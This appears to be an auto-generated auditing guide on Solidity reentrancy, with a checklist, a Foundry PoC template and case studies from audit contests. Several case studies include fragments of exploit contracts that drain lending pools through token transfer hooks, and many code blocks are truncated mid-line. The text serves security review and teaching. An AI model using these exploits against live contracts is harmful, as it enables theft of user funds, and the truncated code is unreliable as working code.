Solidity Advanced Reentrancy (Read-Only, Cross-Contract, Cross-Function)
Overview & Empirical Grounding
This security auditing skill is synthesized from 136 empirical audit contest findings (21 Critical, 115 High severity) extracted from the Zaevlad/audit-findings-dataset corpus.
Auditors and security reviewers must use this methodology when reviewing smart contracts that exhibit Control Flow & State Execution patterns.
Key Trigger Keywords
reentrancy, read-only reentrancy, cross-contract reentrancy, cross-function, erc777 hook, safetransferfrom, transient storage, tstore, nonreentrant
Threat Model & Core Attack Vectors
Detailed failure modes identified across empirical audit findings:
- Unchecked Assumptions & Protocol State Discrepancy: Deviations between internal accounting state and actual balances/external conditions.
- Missing Boundary Checks & Validation: Failing to constrain user inputs, return values, or stale external data feeds.
- Execution Ordering & Invariant Breakage: Invariants momentarily violated during external calls or intermediary calculations.
- Economic & MEV Incentives: Opportunities for adversaries to extract value through arbitrage, flash loans, or sandwiching.
Step-by-Step Audit Checklist
When reviewing contracts in this domain, follow this rigorous step-by-step verification pipeline:
1. Architectural & Entry Point Reconnaissance
- Map all external and public entry points that interact with the vulnerable component.
- Verify access control modifiers (
onlyOwner,onlyRole, custom guards) and ensure roles are initialized in constructor/initializer. - Trace all token balance state changes and external contract interactions.
2. Deep Invariant & Boundary Verification
- Input Validation: Check zero-address (
address(0)), zero-amount, array length parity, and upper/lower bounds. - State Transition Sequencing: Verify Checks-Effects-Interactions (CEI) order. All storage updates must precede external invocations.
- External Return Handling: Check return values for external ERC-20 transfers, oracle queries, and delegatecalls.
- Failure Paths & DoS Hazards: Ensure reverts in third-party calls do not lock protocol funds or halt liquidation/withdrawal queues.
3. Proof of Concept (PoC) Development Guide
When drafting a reproducible exploit in Foundry (forge test):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
contract AuditPoCTest is Test {
// Setup target protocol and mock dependencies
function setUp() public {
// Fork mainnet or deploy local environment
}
function test_exploit_vector() public {
// 1. Establish initial attacker balance
// 2. Trigger vulnerability
// 3. Assert invariant violation or balance drain
}
}
Empirical Case Studies from Zaevlad/audit-findings-dataset
The following real-world contest findings illustrate the root causes and remediation patterns:
Case Study: Pools configured with a malicious hook can bypass the BunniHub re-entrancy guard to drain all raw balances and vault reserves of legitimate pools
- Severity: High (Dataset Weight: 1.00, ID: #25)
- Vulnerability Mechanism:
** The
BunniHubis the main contract that both holds and accounts the raw balances and vault reserves that each pool has deposited. It inheritsReentrancyGuardwhich implements thenonReentrantmodifier:
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
function _nonReentrantBefore() internal {
uint256 statusSlot = STATUS_SLOT;
uint256 status;
/// @solidity memory-safe-assembly
assembly {
status := tload(statusSlot)
}
if (status == ENTERED) revert ReentrancyGuard__ReentrantCall();
uint256 entered = ENTERED;
/// @solidity memory-safe-assembly
assembly {
tstore(statusSlot, entered)
}
}
function _nonReentrantAfter() internal {
uint256 statusSlot = STATUS_SLOT;
uint256 notEntered = NOT_ENTERED;
/// @solidity memory-safe-assembly
assembly {
tstore(statusSlot, notEntered)
}
}
During the rebalance of a Bunni pool, it is intended to separate this re-entrancy logic into before/after hooks. These functions re-use the same global re-entrancy guard transient storage slot to lock the BunniHub against any potential re-entrant execution by a malic
Proof of Concept / Vulnerable Pattern
** To run the following PoCs:
* Add the following malicious vault implementation inside `test/mocks/ERC4626Mock.sol`:
```solidity
interface MaliciousHook {
function continueAttackFromMaliciousVault() external;
}
contract MaliciousERC4626 is ERC4626 {
address internal immutable _asset;
MaliciousHook internal immutable maliciousHook;
bool internal attackStarted;
constructor(IERC20 asset_, address _maliciousHook) {
_asset = address(asset_);
maliciousHook = MaliciousHook(_maliciousHook);
}
function asset() public view override returns (address) {
return _asset;
}
function name() public pure override returns (string memory) {
return "MockERC4626";
}
function symbol() public pure override returns (string memory) {
return "MOCK-ERC4626";
}
function setupAttack() external {
attackStarted = true;
}
function previewRedeem(uint256 shares) public view override returns (uint256 assets) {
return type(uint128).max;
}
function withdraw(uint256 assets, address to, address owner) public override returns(uint256 shares){
if(attackStarted) {
malicious
- Remediation Recommendation:
** The root cause of the attack was the ability to disable the intended global re-entrancy protection by invoking
unlockForRebalance()which was subsequently disabled. One solution would be to implement the rebalance re-entrancy protection on a per-pool basis such that one pool cannot manipulate the re-entrancy guard transient storage state of another. Additionally, allowing Bunni pools to be deployed with any arbitrary hook implementation greatly increases the attack surface. It is instead recommended to minimise this by constraining the hook to be the canonicalBunniHookimplementation such that it is not possible to call suchBunniHubfunctions directly.
Case Study: Successful transactions are not stored, causing a replay attack on redeemDepositsAndInternalBalances
- Severity: High (Dataset Weight: 1.00, ID: #3539)
- Vulnerability Mechanism: in redeemDepositsAndInternalBalances there is no validation about the parameters that have been used which should be stored and should not be reused.
As a result, parameters that have already been used can be reused.
Look at this:
function redeemDepositsAndInternalBalances(
address owner,
address reciever,
AccountDepositData[] calldata deposits,
AccountInternalBalance[] calldata internalBalances,
uint256 ownerRoots,
bytes32[] calldata proof,
uint256 deadline,
bytes calldata signature
) external payable fundsSafu noSupplyChange nonReentrant {
// verify deposits are valid.
// note: if the number of contracts that own deposits is small,
// deposits can be stored in bytecode rather than relying on a merkle tree.
verifyDepositsAndInternalBalances(owner, deposits, internalBalances, ownerRoots, proof);
// signature verification.
verifySignature(owner, reciever, deadline, signature)
function verifyDepositsAndInternalBalances(
address account,
AccountDepositData[] calldata deposits,
AccountInternalBalance[] calldata inte
#### Proof of Concept / Vulnerable Pattern
```solidity
Due to difficulty finding the same MERKLE_ROOT value as the L2ContractMigrationFacet contract.
So, this PoC only proved a simple signature replay of L2ContractMigrationFacet.
Then the bug in verifyDepositsAndInternalBalances can be proven by yourself with a replay attack scheme, since only you know the "leaves" of MERKLE_ROOT in the L2ContractMigrationFacet contract.
paste this code on dir/test of new foundry project
don't forget to install dependencies such as forge-std and openzeppelin
run with forge test -vvvv
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import "../src/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
contract PocTest is Test {
using ECDSA for bytes32;
L2ContractMigrationFacetsimple L2CMFOp;
uint256 internal signerPrivateKey;
uint256 optimismFork;
bytes32 private constant REDEEMDEPOSITTYPE_HASH =
keccak256(
"redeemDepositsAndInternalBalances(address owner,address reciever,uint256 deadline)"
);
function setUp() public {
optimismFork = vm.createSelectFork("https://rpc.ankr.com/opti
- Remediation Recommendation:
mapping(bytes32 => bool) public isRedeemed;
function verifyDepositsAndInternalBalances(
address account,
AccountDepositData[] calldata deposits,
AccountInternalBalance[] calldata internalBalances,
uint256 ownerRoots,
bytes32[] calldata proof
) internal {
bytes32 leaf = keccak256(abi.encode(account, deposits, internalBalances, ownerRoots));
if (isRedeemed[leaf]) revert REDEEMED_ALREADY();
require(MerkleProof.verify(proof, MERKLE_ROOT, leaf), "Migration: invalid proof");
isRedeemed[leaf] = true;
}
And also do that in verifySignature ensure that can't be front running attack, like add access control or nonces
Case Study: Lender contract can be drained by re-entrancy in repay
- Severity: High (Dataset Weight: 1.00, ID: #3672)
- Vulnerability Mechanism: An attacker can craft a token allowing reentrant calls on transfer to drain any token from the Lender contract.
The Lender contract allows any token as loanToken and the repay function transfers the tokens before deleting the loan which result in a re-entrancy vulnerability. A malicious actor can craft a token allowing reentrant calls on transfer to exploit the re-entrancy vulnerability in the repay function and get more than one time his collateral back.
File: Lender.Sol
L316: // transfer the loan tokens from the borrower to the pool
IERC20(loan.loanToken).transferFrom( // @audit - Re-entrancy can drain contract
msg.sender,
address(this),
loan.debt + lenderInterest
);
// transfer the protocol fee to the fee receiver
IERC20(loan.loanToken).transferFrom(
msg.sender,
feeReceiver,
protocolInterest
);
// transfer the collateral tokens from the contract to the borrower
IERC20(loan.collateralToken).transfer(
loan.borrower,
loan.collateral
);
#### Proof of Concept / Vulnerable Pattern
```solidity
An attacker can use the following exploit contracts to drain the lender contract:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract ExploitToken is ERC20 {
address owner;
constructor(uint256 amount) ERC20("ExploitToken", "ET") {
owner = msg.sender;
_mint(msg.sender, amount);
}
// Hook on token transfer
function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
(bool status,) = owner.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
require(status, "call failed");
}
}
File: Exploit7.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {ExploitToken} from "./ExploitToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";
contract Exploit7 {
Lender lender;
address collateralToken;
ExploitToken exploitToken;
bool loanBorrowed;
uint256 i;
constructor(Lender _lender, address _collateralToken) {
len
- Remediation Recommendation: Follow the Checks - Effect - Interactions (CEI) pattern by deleting the loan loans[loanId] before transferring the funds AND use nonReentrant modifiers
Case Study: Lender contract can be drained by re-entrancy in setPool
- Severity: High (Dataset Weight: 1.00, ID: #3673)
- Vulnerability Mechanism: Tokens allowing reentrant calls on transfer can be drained from the contract.
Some tokens allow reentrant calls on transfer (e.g. ERC777 tokens). Example of token with hook on transfer:
pragma solidity ^0.8.19;
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract WeirdToken is ERC20 {
constructor(uint256 amount) ERC20("WeirdToken", "WT") {
_mint(msg.sender, amount);
}
// Hook on token transfer
function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
if (to != address(0)) {
(bool status,) = to.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
}
}
}
This kind of token allows a re-entrancy attack in the setPool function. When the new p.poolBalance is less than the currentBalance, the difference is sent to the borrower before updating the state.
File: Lender.sol
L157: } else if (p.poolBalance < currentBalance) {
// if new balance < current balance then transfer the difference back to the lender
IERC20(p.loanToken).transfer( // @audit - Critical Re-entrancy can
#### Proof of Concept / Vulnerable Pattern
```solidity
An attacker can use the following exploit contract to drain the lender contract:
```solidity
File: Exploit3.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {WeirdToken} from "./WeirdToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";
contract Exploit3 {
Lender lender;
Pool pool;
constructor(Lender _lender) {
lender = _lender;
}
function attack(address _loanToken, uint256 _poolBalance) external {
ERC20(_loanToken).approve(address(lender), _poolBalance);
// [1] Create a new pool
Pool memory p = Pool({
lender: address(this),
loanToken: _loanToken,
collateralToken: address(0),
minLoanSize: 10 * 10**18,
poolBalance: _poolBalance,
maxLoanRatio: 210 * 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
// [2] Update pool with 0 poolBalance
p.poolBalance = 0;
pool = p;
lender.setPool(p);
// [3] Send the funds back to the at
- Remediation Recommendation: Follow the Checks - Effect - Interactions (CEI) pattern by updating the pools mapping (Line 175) before transferring the funds AND use nonReentrant modifiers
Case Study: ParticleExchange.auctionBuyNft and ParticleExchange.withdrawEthWithInterest function calls can be DOS’ed
- Severity: High (Dataset Weight: 1.00, ID: #18653)
- Vulnerability Mechanism:
When `lien.borrower` is a contract, its `receive` function can be coded to conditionally revert based on a state boolean variable controlled by `lien.borrower`’s owner. As long as `payback > 0` is true, `lien.borrower`’s `receive` function would be called when calling the following `ParticleExchange.auctionBuyNft` function. In this situation, if the owner of `lien.borrower` intends to DOS the `ParticleExchange.auctionBuyNft` function call, especially when `lien.credit` is low or 0, she or he would make `lien.borrower`’s `receive` function revert.
function auctionBuyNft(
Lien calldata lien,
uint256 lienId,
uint256 tokenId,
uint256 amount
) external override validateLien(lien, lienId) auctionLive(lien) {
...
// pay PnL to borrower
uint256 payback = lien.credit + lien.price - payableInterest - amount;
if (payback > 0) {
payable(lien.borrower).transfer(payback);
}
...
}
Moreover, after the auction of the lien is concluded, calling the following ParticleExchange.withdrawEthWithInterest function can call lien.borrower’s receive function, as long as `lien.credi
Proof of Concept / Vulnerable Pattern
```solidity
The following steps can occur for the described scenario for the `ParticleExchange.auctionBuyNft` function. The situation for the `ParticleExchange.withdrawEthWithInterest` function is similar:
1. Alice is the owner of `lien.borrower` for a lien.
2. The lender of the lien starts the auction for the lien.
3. Alice does not want the auction to succeed, so she makes `lien.borrower`’s `receive` function revert by changing the controlled state boolean variable for launching the DOS attack to true.
4. For a couple of times during the auction period, some other users are willing to win the auction by supplying an NFT from the same collection, but their `ParticleExchange.auctionBuyNft` function calls all revert.
5. Since no one’s `ParticleExchange.auctionBuyNft` transaction is executed at the last second of the auction period, the auction is DOS’ed.
- **Remediation Recommendation**:
```solidity
The `ParticleExchange.auctionBuyNft` and `ParticleExchange.withdrawEthWithInterest` functions can be updated to record the `payback` and `lien.credit - payableInterest` amounts that should belong to `lien.borrower`, instead of directly sending these amounts to `lien.borrower`. Then, a function can be added to let `lien.borrower` call and receive these recorded amounts.
Case Study: Risk of reentrancy onERC721Received function to manipulate collateral token configs shares
- Severity: High (Dataset Weight: 1.00, ID: #20963)
- Vulnerability Mechanism:
function onERC721Received(address, address from, uint256 tokenId, bytes calldata data)
external
override
returns (bytes4)
{
...
if {
...
} else {
uint256 oldTokenId = transformedTokenId;
// if in transform mode - and a new position is sent - current position is replaced and returned
if (tokenId != oldTokenId) {
address owner = tokenOwner[oldTokenId];
// set transformed token to new one
transformedTokenId = tokenId;
// copy debt to new token
loans[tokenId] = Loan(loans[oldTokenId].debtShares);
_addTokenToOwner(owner, tokenId);
emit Add(tokenId, owner, oldTokenId);
// clears data of old loan
_cleanupLoan(oldTokenId, debtExchangeRateX96, lendExchangeRateX96, owner);
//@audit can reenter with onERC721Received and call repay or borrow to call _updateAndCheckCollateral twice and manipulate collateral token configs
// sets data of new loan
_updateAndCheckCollateral(
tokenId, debtExchangeRateX96, lendExchangeRateX96, 0, loans[tokenId].debtShares
#### Proof of Concept / Vulnerable Pattern
```solidity
Let’s use the following scenario to demonstrate the issue:
Before starting, we suppose the following states:
* `tokenConfigs[token0].totalDebtShares = 10000`
* `tokenConfigs[token1].totalDebtShares = 15000`
* Bob has previously deposited a UniswapV3 position (which uses `token0` and `token1`) with `tokenId = 12` and borrowed `loans[tokenId = 12].debtShares = 1000` debt shares.
* Bob calls the `transform` function to change the range of his position using the AutoRange transformer, which mints a new ERC721 token `tokenId = 20` for the newly arranged position and sends it to the vault.
* Upon receiving the new token, the `V3Vault.onERC721Received` function is triggered. As we’re in transformation mode and the token ID is different, the second else block above will be executed.
* `V3Vault.onERC721Received` will copy loan debt shares to the new token, so we’ll have `loans[tokenId = 20].debtShares = 1000`.
* Then `V3Vault.onERC721Received` will invoke the `_cleanupLoan` function to clear the data of the old loan and transfer the old position token `tokenId = 12` back to Bob.
* 5.1. `_cleanupLoan` will also call `_updateAndCheckCollateral` function to change `oldShare
- Remediation Recommendation:
function onERC721Received(address, address from, uint256 tokenId, bytes calldata data)
external
override
returns (bytes4)
{
...
if {
...
} else {
uint256 oldTokenId = transformedTokenId;
// if in transform mode - and a new position is sent - current position is replaced and returned
if (tokenId != oldTokenId) {
address owner = tokenOwner[oldTokenId];
// set transformed token to new one
transformedTokenId = tokenId;
// copy debt to new token
loans[tokenId] = Loan(loans[oldTokenId].debtShares);
_addTokenToOwner(owner, tokenId);
emit Add(tokenId, owner, oldTokenId);
// // clears data of old loan
// _cleanupLoan(
---
## Remediation & Hardening Principles
- **Fail-Safe Defaults**: Always favor reverting rather than proceeding with invalid or unexpected state.
- **Defensive Type Safety**: Use OpenZeppelin's vetted libraries (`SafeERC20`, `ReentrancyGuardUpgradeable`, `SafeCast`, `Math`).
- **Two-Step Critical Actions**: Enforce commit-reveal or timelock mechanisms for governance and high-impact parameter changes.
- **Comprehensive Testing Matrix**: Pair unit tests with property-based invariant testing (Foundry `invariant` or Echidna) and mutation testing.